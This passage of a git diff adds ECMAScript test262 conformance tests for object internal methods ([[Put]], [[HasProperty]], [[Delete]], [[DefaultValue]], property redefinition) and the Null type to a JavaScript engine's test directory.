+ * When the [[Put]] method of O is called with property P and value V,
+ * then set the value of the property to V. The attributes of the property are not changed
+ *
+ * @path ch08/8.12/8.12.5/S8.12.5_A2.js
+ * @description Put to existent properties
+ */
+
+var _map={1:"one",two:2};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+_map[1]="uno";
+if (_map[1] !== "uno") {
+ $ERROR('#1: var _map={1:"one",two:2}; _map[1]="uno"; _map[1] === "uno". Actual: ' + (_map[1]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+_map["1"]=1;
+if (_map[1] !== 1) {
+ $ERROR('#2: var _map={1:"one",two:2}; _map[1]="uno"; _map["1"]=1; _map[1] === 1. Actual: ' + (_map[1]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+_map["two"]="two";
+if (_map["two"] !== "two") {
+ $ERROR('#3: var _map={1:"one",two:2}; _map[1]="uno"; _map["1"]=1; _map["two"]="two"; _map["two"] === "two". Actual: ' + (_map["two"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+_map.two="duo";
+if (_map.two !== "duo") {
+ $ERROR('#4: var _map={1:"one",two:2}; _map[1]="uno"; _map["1"]=1; _map["two"]="two"; _map.two="duo"; _map.two === "duo". Actual: ' + (_map.two));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/browser.js b/js/src/tests/test262/ch08/8.12/8.12.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/shell.js b/js/src/tests/test262/ch08/8.12/8.12.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A1.js b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A1.js
new file mode 100644
index 000000000..20a2676f7
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[HasProperty]] method of O is called with property name P and if O has a property with name P, return true
+ *
+ * @path ch08/8.12/8.12.6/S8.12.6_A1.js
+ * @description Try find existent property of any Object
+ */
+
+var __obj={fooProp:"fooooooo"};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!("fooProp" in __obj)) {
+ $ERROR('#1: var __obj={fooProp:"fooooooo"}; "fooProp" in __obj');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T1.js b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T1.js
new file mode 100644
index 000000000..4a2eac8a3
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[HasProperty]] method of O is called with property name P and if O has not a property with name P
+ * then If the [[Prototype]] of O is null, return false or call the [[HasProperty]] method of [[Prototype]] with property name P
+ *
+ * @path ch08/8.12/8.12.6/S8.12.6_A2_T1.js
+ * @description Try find not existent property of any Object
+ */
+
+var __obj={};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!("valueOf" in __obj)) {
+ $ERROR('#1: var __obj={}; "valueOf" in __obj');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T2.js b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T2.js
new file mode 100644
index 000000000..536b8ceb4
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A2_T2.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[HasProperty]] method of O is called with property name P and if O has not a property with name P
+ * then If the [[Prototype]] of O is null, return false or call the [[HasProperty]] method of [[Prototype]] with property name P
+ *
+ * @path ch08/8.12/8.12.6/S8.12.6_A2_T2.js
+ * @description Try find not existent property of any Object, but existent property of this Object prototype
+ */
+
+var __proto={phylum:"avis"};
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!("valueOf" in __proto)) {
+ $ERROR('#1: var __proto={phylum:"avis"}; "valueOf" in __proto');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function Robin(){this.name="robin"};
+Robin.prototype=__proto;
+
+var __my__robin = new Robin;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!("phylum" in __my__robin)) {
+ $ERROR('#2: var __proto={phylum:"avis"}; function Robin(){this.name="robin"}; Robin.prototype=__proto; var __my__robin = new Robin; "phylum" in __my__robin');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__my__robin.hasOwnProperty("phylum")) {
+ $ERROR('#3: var __proto={phylum:"avis"}; function Robin(){this.name="robin"}; Robin.prototype=__proto; var __my__robin = new Robin; __my__robin.hasOwnProperty("phylum") === false. Actual: ' + (__my__robin.hasOwnProperty("phylum")));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A3.js b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A3.js
new file mode 100644
index 000000000..c2c34fa2c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/S8.12.6_A3.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[hasProperty]] is sensitive to property existence but [[Get]] is not
+ *
+ * @path ch08/8.12/8.12.6/S8.12.6_A3.js
+ * @description Use [[hasProperty]] and [[Get]] for existent and not existent properties
+ */
+
+var __obj={}; __obj.hole=undefined;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.hole !== undefined) {
+ $ERROR('#1: var __obj={}; __obj.hole=undefined; __obj.hole === undefined. Actual: ' + (__obj.hole));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.notexist !== undefined) {
+ $ERROR('#2: var __obj={}; __obj.hole=undefined; __obj.notexist === undefined. Actual: ' + (__obj.notexist));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (!("hole" in __obj)) {
+ $ERROR('#3: var __obj={}; __obj.hole=undefined; "hole" in __obj');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (("notexist" in __obj)) {
+ $ERROR('#4: var __obj={}; __obj.hole=undefined; "notexist" in __obj');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/browser.js b/js/src/tests/test262/ch08/8.12/8.12.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.6/shell.js b/js/src/tests/test262/ch08/8.12/8.12.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.6/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A1.js b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A1.js
new file mode 100644
index 000000000..b6944fd48
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Delete]] method of O is called with property name P,
+ * and If the property has the DontDelete attribute, return false
+ *
+ * @path ch08/8.12/8.12.7/S8.12.7_A1.js
+ * @description Try to delete Math.E, that has the DontDelete attribute
+ * @noStrict
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete Math.E !== false){
+ $ERROR('#1: delete Math.E === false. Actual: ' + (delete Math.E));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (Math.E === undefined){
+ $ERROR('#2: delete Math.E; Math.E !== undefined');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T1.js b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T1.js
new file mode 100644
index 000000000..6c416b525
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Delete]] method of O is called with property name P,
+ * and if O doesn't have a property with name P, return true
+ *
+ * @path ch08/8.12/8.12.7/S8.12.7_A2_T1.js
+ * @description Try to delete not existent properties
+ */
+
+var __color__map = {};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete __color__map.red !== true){
+ $ERROR('#1: var __color__map = {}; delete __color__map.red === true. Actual: ' + (delete __color__map.red));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (delete __color__map["green"] !== true){
+ $ERROR('#2: var __color__map = {}; delete __color__map["green"] === true. Actual: ' + (delete __color__map["green"]));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+var blue = 1;
+if (delete __color__map[blue] !== true){
+ $ERROR('#3: var __color__map = {}; var blue = 1; delete __color__map[blue] === true. Actual: ' + (delete __color__map[blue]));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T2.js b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T2.js
new file mode 100644
index 000000000..e3182463a
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A2_T2.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Delete]] method of O is called with property name P,
+ * and if O doesn't have a property with name P, return true
+ *
+ * @path ch08/8.12/8.12.7/S8.12.7_A2_T2.js
+ * @description Try to delete not existent properties of O, but existent property of prototype
+ */
+
+function Palette(){};
+Palette.prototype = {red:0xFF0000, green:0x00FF00};
+var __palette = new Palette;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__palette.red !== 0xFF0000){
+ $ERROR('#1: function Palette(){}; Palette.prototype = {red:0xFF0000, green:0x00FF00}; __palette = new Palette; __palette.red === 0xFF0000. Actual: ' + (__palette.red));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (delete __palette.red !== true) {
+ $ERROR('#2 function Palette(){}; Palette.prototype = {red:0xFF0000, green:0x00FF00}; __palette = new Palette; delete __palette.red === true. Actual: ' + (delete __palette.red));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__palette.red !== 0xFF0000){
+ $ERROR('#3: function Palette(){}; Palette.prototype = {red:0xFF0000, green:0x00FF00}; __palette = new Palette; __palette.red === 0xFF0000. Actual: ' + (__palette.red));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A3.js b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A3.js
new file mode 100644
index 000000000..c9abe19d9
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/S8.12.7_A3.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Delete]] method of O is called with property name P,
+ * removes the property with name P from O and return true
+ *
+ * @path ch08/8.12/8.12.7/S8.12.7_A3.js
+ * @description Delete existent properties
+ */
+
+var BLUE_NUM=1;
+var BLUE_STR="1";
+var YELLOW_NUM=2;
+var YELLOW_STR="2";
+var __color__map = {red:0xFF0000, BLUE_NUM:0x0000FF, green:0x00FF00, YELLOW_STR:0xFFFF00};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete __color__map[YELLOW_NUM] !== true){
+ $ERROR('#1: var BLUE_NUM=1; var BLUE_STR="1"; var YELLOW_NUM=2; var YELLOW_STR="2"; var __color__map = {red:0xFF0000, BLUE_NUM:0x0000FF, green:0x00FF00, YELLOW_STR:0xFFFF00}; delete __color__map[YELLOW_NUM] === true;');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__color__map[YELLOW_STR] !== undefined) {
+ $ERROR('#2: var BLUE_NUM=1; var BLUE_STR="1"; var YELLOW_NUM=2; var YELLOW_STR="2"; var __color__map = {red:0xFF0000, BLUE_NUM:0x0000FF, green:0x00FF00, YELLOW_STR:0xFFFF00}; delete __color__map[YELLOW_NUM]; __color__map[YELLOW_STR] === undefined. Actual: ' + (__color__map[YELLOW_STR]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (delete __color__map[BLUE_STR] !== true){
+ $ERROR('#3: var BLUE_NUM=1; var BLUE_STR="1"; var YELLOW_NUM=2; var YELLOW_STR="2"; var __color__map = {red:0xFF0000, BLUE_NUM:0x0000FF, green:0x00FF00, YELLOW_STR:0xFFFF00}; delete __color__map[BLUE_STR] === true. Actual: ' + (delete __color__map[BLUE_STR]));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__color__map[BLUE_NUM] !== undefined) {
+ $ERROR('#4: var BLUE_NUM=1; var BLUE_STR="1"; var YELLOW_NUM=2; var YELLOW_STR="2"; var __color__map = {red:0xFF0000, BLUE_NUM:0x0000FF, green:0x00FF00, YELLOW_STR:0xFFFF00}; delete __color__map[BLUE_STR]; __color__map[BLUE_NUM] === undefined. Actual: ' + (__color__map[BLUE_NUM]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/browser.js b/js/src/tests/test262/ch08/8.12/8.12.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.7/shell.js b/js/src/tests/test262/ch08/8.12/8.12.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.7/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A1.js b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A1.js
new file mode 100644
index 000000000..9fa13f537
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * This should generate a TypeError,
+ * Cause we overload toString method so it return non Primitive value
+ * See ECMA reference at http://bugzilla.mozilla.org/show_bug.cgi?id=167325
+ *
+ * @path ch08/8.12/8.12.8/S8.12.8_A1.js
+ * @description Try to overload toString method
+ */
+
+try
+{
+ var __obj = {toString: function() {return new Object();}}
+ String(__obj);
+ $ERROR('#1.1: var __obj = {toString: function() {return new Object();}}; String(__obj) throw TypeError. Actual: ' + (String(__obj)));
+}
+catch(e)
+{
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: var __obj = {toString: function() {return new Object();}}; String(__obj) throw TypeError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A2.js b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A2.js
new file mode 100644
index 000000000..1a4cd4f91
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * This should generate no TypeError,
+ * Cause we overload toString method so it return non Primitive value
+ * but we overloaded valueOf method too.
+ * See ECMA reference at http://bugzilla.mozilla.org/show_bug.cgi?id=167325
+ *
+ * @path ch08/8.12/8.12.8/S8.12.8_A2.js
+ * @description Try to overload toString, that returned new Object, and valueOf methods
+ */
+
+try
+{
+ var __obj = {toString: function() {return new Object();}, valueOf: function() {return 1;}}
+ if (String(__obj) !== "1") {
+ $ERROR('#1.1: var __obj = {toString: function() {return new Object();}, valueOf: function() {return 1;}}; String(__obj) === "1". Actual: ' + (String(__obj)));
+ }
+}
+catch(e)
+{
+ $ERROR('#1.2: var __obj = {toString: function() {return new Object();}, valueOf: function() {return 1;}}; String(__obj) === "1". Actual: ' + (e));
+}
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A3.js b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A3.js
new file mode 100644
index 000000000..a54d3c2a8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * We overload valueOf method so it return non Primitive value
+ * Thus [[DefaultValue]] must return Object.toString() value
+ *
+ * @path ch08/8.12/8.12.8/S8.12.8_A3.js
+ * @description Try to overload toString method, that returned Primitive, and valueOf method, that returned new Object
+ */
+
+try
+{
+ var __obj = {toString: function() {return "1"}, valueOf: function() {return new Object();}}
+ if (Number(__obj) !== 1) {
+ $ERROR('#1.1: var __obj = {toNumber: function() {return "1"}, valueOf: function() {return new Object();}}; Number(__obj) === 1. Actual: ' + (Number(__obj)));
+ }
+}
+catch(e)
+{
+ $ERROR('#1.2: var __obj = {toNumber: function() {return "1"}, valueOf: function() {return new Object();}}; Number(__obj) === 1. Actual: ' + (e));
+}
+
+
+
+
+
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A4.js b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A4.js
new file mode 100644
index 000000000..cec14497b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/S8.12.8_A4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * We overload valueOf method so it return non Primitive value and toString method so it return non Primitive value too
+ * Thus [[DefaultValue]] must generate TypeError error
+ *
+ * @path ch08/8.12/8.12.8/S8.12.8_A4.js
+ * @description Try to overload toString and valueOf methods, they returned new Objects
+ */
+
+try
+{
+ var __obj = {valueOf:function(){return new Object;},toString: function() {return new Object();}}
+ Number(__obj);
+ $ERROR('#1.1: var __obj = {valueOf:function(){return new Object;},toNumber: function() {return new Object();}}; Number(__obj) throw TypeError. Actual: ' + (Number(__obj)));
+}
+catch(e)
+{
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: var __obj = {valueOf:function(){return new Object;},toNumber: function() {return new Object();}}; Number(__obj) throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/browser.js b/js/src/tests/test262/ch08/8.12/8.12.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.8/shell.js b/js/src/tests/test262/ch08/8.12/8.12.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.8/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_1.js b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_1.js
new file mode 100644
index 000000000..84ea47532
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_1.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.9/8.12.9-9-b-i_1.js
+ * @description Redefine a configurable data property to be an accessor property on a newly non-extensible object
+ */
+
+
+function testcase() {
+ var o = {};
+ Object.defineProperty(o, "foo",
+ { value: "hello",
+ configurable: true});
+ Object.preventExtensions(o);
+ Object.defineProperty(o, "foo", { get: function() { return 5;} });
+
+ var fooDescrip = Object.getOwnPropertyDescriptor(o, "foo");
+ return o.foo===5 && fooDescrip.get!==undefined && fooDescrip.set===undefined && fooDescrip.value===undefined && fooDescrip.configurable===true && fooDescrip.enumerable===false && fooDescrip.writable===undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_2.js b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_2.js
new file mode 100644
index 000000000..f7ba3048a
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-b-i_2.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.9/8.12.9-9-b-i_2.js
+ * @description Redefine a configurable data property to be an accessor property on a newly non-extensible object
+ */
+
+
+function testcase() {
+ var o = {};
+ Object.defineProperty(o, "foo",
+ { value: "hello",
+ configurable: true,
+ enumerable: true,
+ writable: true});
+ Object.preventExtensions(o);
+ Object.defineProperty(o, "foo", { get: function() { return 5;} });
+
+ var fooDescrip = Object.getOwnPropertyDescriptor(o, "foo");
+ return o.foo===5 && fooDescrip.get!==undefined && fooDescrip.set===undefined && fooDescrip.value===undefined && fooDescrip.configurable===true && fooDescrip.enumerable===true && fooDescrip.writable===undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_1.js b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_1.js
new file mode 100644
index 000000000..bef7ddc7d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_1.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.9/8.12.9-9-c-i_1.js
+ * @description Redefine a configurable accessor property to be a data property on a non-extensible object
+ */
+
+
+function testcase() {
+ var o = {};
+ Object.defineProperty(o, "foo",
+ { get: function() { return 5;},
+ configurable: true});
+ Object.preventExtensions(o);
+ Object.defineProperty(o, "foo", { value: "hello"});
+
+ var fooDescrip = Object.getOwnPropertyDescriptor(o, "foo");
+ return o.foo==="hello" && fooDescrip.get===undefined && fooDescrip.set===undefined && fooDescrip.value==="hello" && fooDescrip.configurable===true && fooDescrip.enumerable===false && fooDescrip.writable===false;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_2.js b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_2.js
new file mode 100644
index 000000000..0c4833ab6
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/8.12.9-9-c-i_2.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.9/8.12.9-9-c-i_2.js
+ * @description Redefine a configurable accessor property to be a data property on a non-extensible object
+ */
+
+
+function testcase() {
+ var o = {};
+ Object.defineProperty(o, "foo",
+ { get: function() { return 5;},
+ configurable: true});
+ Object.preventExtensions(o);
+ Object.defineProperty(o, "foo",
+ { value: "hello",
+ writable: true});
+
+ var fooDescrip = Object.getOwnPropertyDescriptor(o, "foo");
+ return o.foo==="hello" && fooDescrip.get===undefined && fooDescrip.set===undefined && fooDescrip.value==="hello" && fooDescrip.configurable===true && fooDescrip.enumerable===false && fooDescrip.writable===true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/browser.js b/js/src/tests/test262/ch08/8.12/8.12.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.9/shell.js b/js/src/tests/test262/ch08/8.12/8.12.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.9/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/browser.js b/js/src/tests/test262/ch08/8.12/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/shell.js b/js/src/tests/test262/ch08/8.12/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/shell.js
diff --git a/js/src/tests/test262/ch08/8.2/S8.2_A1_T1.js b/js/src/tests/test262/ch08/8.2/S8.2_A1_T1.js
new file mode 100644
index 000000000..bf67b16cc
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/S8.2_A1_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Null Type has one value, called null
+ *
+ * @path ch08/8.2/S8.2_A1_T1.js
+ * @description Checking if execution of "var x = null" passes
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x = null;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.2/S8.2_A1_T2.js b/js/src/tests/test262/ch08/8.2/S8.2_A1_T2.js
new file mode 100644
index 000000000..e0bcda72a
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/S8.2_A1_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Null Type has one value, called null
+ *
+ * @path ch08/8.2/S8.2_A1_T2.js
+ * @description Checking if execution of "x = null" passes
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x = null;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.2/S8.2_A2.js b/js/src/tests/test262/ch08/8.2/S8.2_A2.js
new file mode 100644
index 000000000..8cecf3cf8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/S8.2_A2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The null is resrved word
+ *
+ * @path ch08/8.2/S8.2_A2.js
+ * @description Checking if execution of "var null" fails
+ * @negative
+ */
+
+var null;
+
+
+
diff --git a/js/src/tests/test262/ch08/8.2/S8.2_A3.js b/js/src/tests/test262/ch08/8.2/S8.2_A3.js
new file mode 100644
index 000000000..2d5d49bdf
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/S8.2_A3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * For the keyword null the typeof operator returns the "object"
+ * See also
+ * http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Operators:Special_Operators:typeof_Operator
+ * and
+ * http://bugs.ecmascript.org/ticket/250
+ * for example
+ *
+ * @path ch08/8.2/S8.2_A3.js
+ * @description Check type of null
+ */
+
+//////////////////////////////////////////////////////////////
+// CHECK#1
+if (typeof(null) !== "object") {
